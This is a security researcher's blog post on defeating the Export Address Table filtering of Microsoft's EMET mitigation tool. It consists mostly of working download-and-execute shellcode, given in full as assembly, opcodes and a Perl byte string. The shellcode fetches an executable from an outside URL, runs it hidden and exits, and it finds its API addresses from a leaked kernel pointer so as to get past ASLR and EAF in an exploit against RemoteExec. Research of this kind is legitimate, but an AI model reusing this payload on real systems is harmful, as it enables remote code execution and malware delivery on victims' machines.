Bypassing EMET’s EAF with custom shellcode using kernel pointer

[Guest Kronzy]

Recently I have been testing out Microsoft’s “Enhanced Mitigation Experience Toolkit” (EMET) tool for exploit mitigation. This is a free tool and is designed to harden or secure applications without having to recode them. One exploit I used to test was Adobe Flash’s “Action script type confusion” vulnerability (CVE-2010-3654). This vulnerability affects version 10.1.53.64 and below. I used the exploit downloaded from Abyssal Security. This exploit worked perfectly on a fully patched Windows 7 supporting hardware DEP set to OptOut on Internet Explorer 8 with Adobe Flash version 10.1.53.64

After enabling EMET on the Internet Explorer executable iexplore.exe and testing again this time broke the exploit. Disabling the mitigation feature “Export Address Table Access Filtering” (EAF) on the process now exploited successfully proving that’s EMET’s EAF was mitigating the shellcode from execution.

Taken from EMET’s user guide it states:

In order to do something “useful”, shellcode generally needs to call Windows APIs. However, in order to call an API, shellcode must first find the address where that API has been loaded. To do this the vast majority of shellcode iterates through the export address table of all loaded modules, looking for modules that contain useful APIs. Typically this involves kernel32.dll or ntdll.dll. Once an interesting module has been found, the shellcode can then figure out the address where an API in that module resides. This mitigation filters accesses to the Export Address Table (EAT), allowing or disallowing the read/write access based on the calling code. With EMET in place, most of today’s shellcode will be blocked when it tries to lookup the APIs needed for its payload.

I see EMET’s EAF being a great feature as even having a system that supports DEP and ALSR, EAF will be another hurdle to get round to exploit successfully. Berend-Jan Wever wrote an article last year showing how to bypass EAF but I thought I’d write my own custom shellcode to bypass EAF. For this example I’ll use the RemoteExec exploit published in my last post. Soon as I protected RemoteExec.exe with EMET my existing exploit broke so my new shellcode will now call the required API’s directly.

Below is my custom asm code which downloads and executes box.exe which I started first with static addresses . The addresses used in this asm code are from a Windows XP SP3 machine.

To assemble our code we run

>nasmw -f bin -o urldownexe.bin urldownexe.asm

[BITS 32]
;
PUSH 0x00206c6c
PUSH 0x642e6e6f
PUSH 0x6d6c7275
MOV EBX,ESP         ; save pointer "urlmon.dll" in EBX
PUSH EBX
MOV EAX,0x7C801D7B        
CALL EAX            ; LoadLibraryA
;
PUSH 0x00657865
PUSH 0x2e786f62
MOV EBX,ESP         ; save pointer "box.exe" in EBX
;
PUSH 0x00206578
PUSH 0x652e786f
PUSH 0x62737365
PUSH 0x6d2f736c
PUSH 0x6f6f742f
PUSH 0x74656e2e
PUSH 0x72656b63
PUSH 0x61687461
PUSH 0x68796572
PUSH 0x672e7777
PUSH 0x772f2f3a
PUSH 0x70747468
MOV ECX,ESP         ; save pointer to in ECX
;                   ; http://www.greyhathacker.net/tools/messbox.exe
XOR EDX,EDX
PUSH EDX            ; put parameters on the stack       
PUSH EDX
PUSH EBX
PUSH ECX
PUSH EDX
;
MOV EAX,0x781C4868
CALL EAX            ; URLDownloadToFileA
;
PUSH 0x00657865
PUSH 0x2e786f62
MOV  EAX,ESP        ; save pointer "box.exe" in EAX
XOR EBX,EBX
PUSH EBX                       
PUSH EAX           
MOV EAX,0x7c86250d  ; WinExec
CALL EAX
;
XOR EAX,EAX        
PUSH EAX
MOV EAX,0x7c81CB12
CALL EAX            ; ExitProcess

To get our opcodes we run

>ndisasmw urldownexe.bin -b 32

00000000  686C6C2000        push dword 0x206c6c
00000005  686F6E2E64        push dword 0x642e6e6f
0000000A  6875726C6D        push dword 0x6d6c7275
0000000F  89E3              mov ebx,esp
00000011  53                push ebx
00000012  B87B1D807C        mov eax,0x7c801d7b
00000017  FFD0              call eax
00000019  6865786500        push dword 0x657865
0000001E  68626F782E        push dword 0x2e786f62
00000023  89E3              mov ebx,esp
00000025  6878652000        push dword 0x206578
0000002A  686F782E65        push dword 0x652e786f
0000002F  6865737362        push dword 0x62737365
00000034  686C732F6D        push dword 0x6d2f736c
00000039  682F746F6F        push dword 0x6f6f742f
0000003E  682E6E6574        push dword 0x74656e2e
00000043  68636B6572        push dword 0x72656b63
00000048  6861746861        push dword 0x61687461
0000004D  6872657968        push dword 0x68796572
00000052  6877772E67        push dword 0x672e7777
00000057  683A2F2F77        push dword 0x772f2f3a
0000005C  6868747470        push dword 0x70747468
00000061  89E1              mov ecx,esp
00000063  31D2              xor edx,edx
00000065  52                push edx
00000066  52                push edx
00000067  53                push ebx
00000068  51                push ecx
00000069  52                push edx
0000006A  B868481C78        mov eax,0x781c4868
0000006F  FFD0              call eax
00000071  6865786500        push dword 0x657865
00000076  68626F782E        push dword 0x2e786f62
0000007B  89E0              mov eax,esp
0000007D  31DB              xor ebx,ebx
0000007F  53                push ebx
00000080  50                push eax
00000081  B80D25867C        mov eax,0x7c86250d
00000086  FFD0              call eax
00000088  31C0              xor eax,eax
0000008A  50                push eax
0000008B  B812CB817C        mov eax,0x7c81cb12
00000090  FFD0              call eax

Finally to test our shellcode we can use Berend’s testival.exe tool

Now that we know our code works what I needed to do now was to make sure that the addresses used were dynamicly created as hardcoded addresses would not work for Windows 7 due to ASLR (i.e. addresses would change at next boot) plus I had to avoid the bad characters for this exploit. Even though writing custom shellcode might take a bit of time, after writing a ROP exploit writing custom shellcode seemed relatively easy

Below is my completed shellcode that can be used on RemoteExec for Windows 7 with EMET enabled on the process. The key to this exploit was that we had obtained our kernel pointer in our last exploit which then we worked out the VirtualProtect API address and stored it in ESI. With this in mind I used the value of ESI and calculated our API addresses, LoadLibrary, URLDownloadToFileA, WinExec, etc.

my $shellcode =
#
# LoadLibraryA("urlmon.dll");
#
"\x68\x6c\x6c\x00\x00".    # push dword 0x206c6c  # badchar 0x20 -> 0x00
"\x68\x6f\x6e\x2e\x64".    # push dword 0x642e6e6f
"\x68\x75\x72\x6c\x6d".    # push dword 0x6d6c7275
"\x89\xE3".                # mov ebx,esp
"\x53".                    # push ebx
"\x89\xF0".                # mov eax,esi          # esi = VirtualProtect
"\x05\x98\xb0\x00\x00".    # add eax,0xB098       # eax = LoadLibrary
"\xFF\xD0".                # call eax             # LoadLibrary
#
# box.exe - place in current folder
#
"\x68\x65\x78\x65\x00".    # push dword 0x00657865
"\x68\x62\x6f\x78\x2e".    # push dword 0x2e786f62
"\x89\xE3".                # mov ebx,esp
#
# http://www.greyhathacker.net/tools/messbox.exe
#
"\x68\x78\x65\x00\x00".    # push dword 0x206578  # badchar 0x20 -> 0x00
"\x68\x6F\x78\x2E\x65".    # push dword 0x652e786f
"\x68\x65\x73\x73\x62".    # push dword 0x62737365
"\x68\x6C\x73\x2F\x6D".    # push dword 0x6d2f736c
"\x68\x2F\x74\x6F\x6F".    # push dword 0x6f6f742f
"\x68\x2E\x6E\x65\x74".    # push dword 0x74656e2e
"\x68\x63\x6B\x65\x72".    # push dword 0x72656b63
"\x68\x61\x74\x68\x61".    # push dword 0x61687461
"\x68\x72\x65\x79\x68".    # push dword 0x68796572
"\x68\x77\x77\x2E\x67".    # push dword 0x672e7777
"\x68\x3A\x2F\x2F\x77".    # push dword 0x772f2f3a
"\x68\x68\x74\x74\x70".    # push dword 0x70747468
"\x89\xE1".                # mov ecx,esp
#
"\x31\xD2".                # xor edx,edx
"\x52".                    # push edx  - Arg5
"\x52".                    # push edx  - Arg4
"\x53".                    # push ebx  - Arg3
"\x51".                    # push ecx  - Arg2
"\x52".                    # push edx  - Arg1
#
# URLDownloadToFileA(
#              NULL,
#              "http://www.greyhathacker.net/tools/messbox.exe",
#              "box.exe",
#              0,
#              NULL);
#
# At this point eax contains base address of urlmon.dll 0x75bf0000
# Adding 0x96DC8 becomes pointer to URLDownloadToFileA address
#
"\x05\xc8\x6d\x08\x00".    # add eax,0x86DC8      # remove bad char 0x09
"\x05\x00\x00\x01\x00".    # add eax,0x10000  # eax = URLDownloadToFileA
"\xFF\xD0".                # call eax             # URLDownloadToFileA
#
# WinExec("box.exe", 0);
#
"\x68\x65\x78\x65\x00".    # push dword 0x00657865
"\x68\x62\x6f\x78\x2e".    # push dword 0x2e786f62
"\x8B\xC4".                # mov  eax,esp
"\x31\xDB".                # xor ebx,ebx
"\x53".                    # push ebx             # ShowState = SW_HIDE
"\x50".                    # push eax             # CmdLine = box.exe
"\x89\xF0".                # mov eax,esi          # esi = VirtualProtect
"\x05\xe5\xc1\x04\x00".    # add eax,0x4C1E5      # eax = WinExec
"\xFF\xD0".                # call eax             # WinExec
#
# ExitProcess(0);
#
"\x31\xC0".                # xor eax,eax
"\x50".                    # push eax
"\x89\xF0".                # mov eax,esi          # esi = VirtualProtect
"\x05\x15\x90\x01\x00".    # add eax,0x19015      # eax = ExitProcess
"\xFF\xD0";                # call eax             # ExitProcess

Peter Van Eeckhoutte’s exploit writing tutorial “Exploit writing tutorial part 9 : Introduction to Win32 shellcoding” contains a cool perl script written by Peter that does all the hard work of converting our ascii string into push instructions in reverse order, brilliant

EMET is superb tool to have installed and would recommend it to anyone as it will mitigate a number of shellcode based exploits. One thing I would like to see in EMET is the ability to alert the user or have some sort of logging to tell us if shellcode was encountered. This would be useful to discover 0-day exploits out there if we inadvertently got hit by a drive by attack.

Source : Bypassing EMET’s EAF with custom shellcode using kernel pointer | GreyHatHacker.NET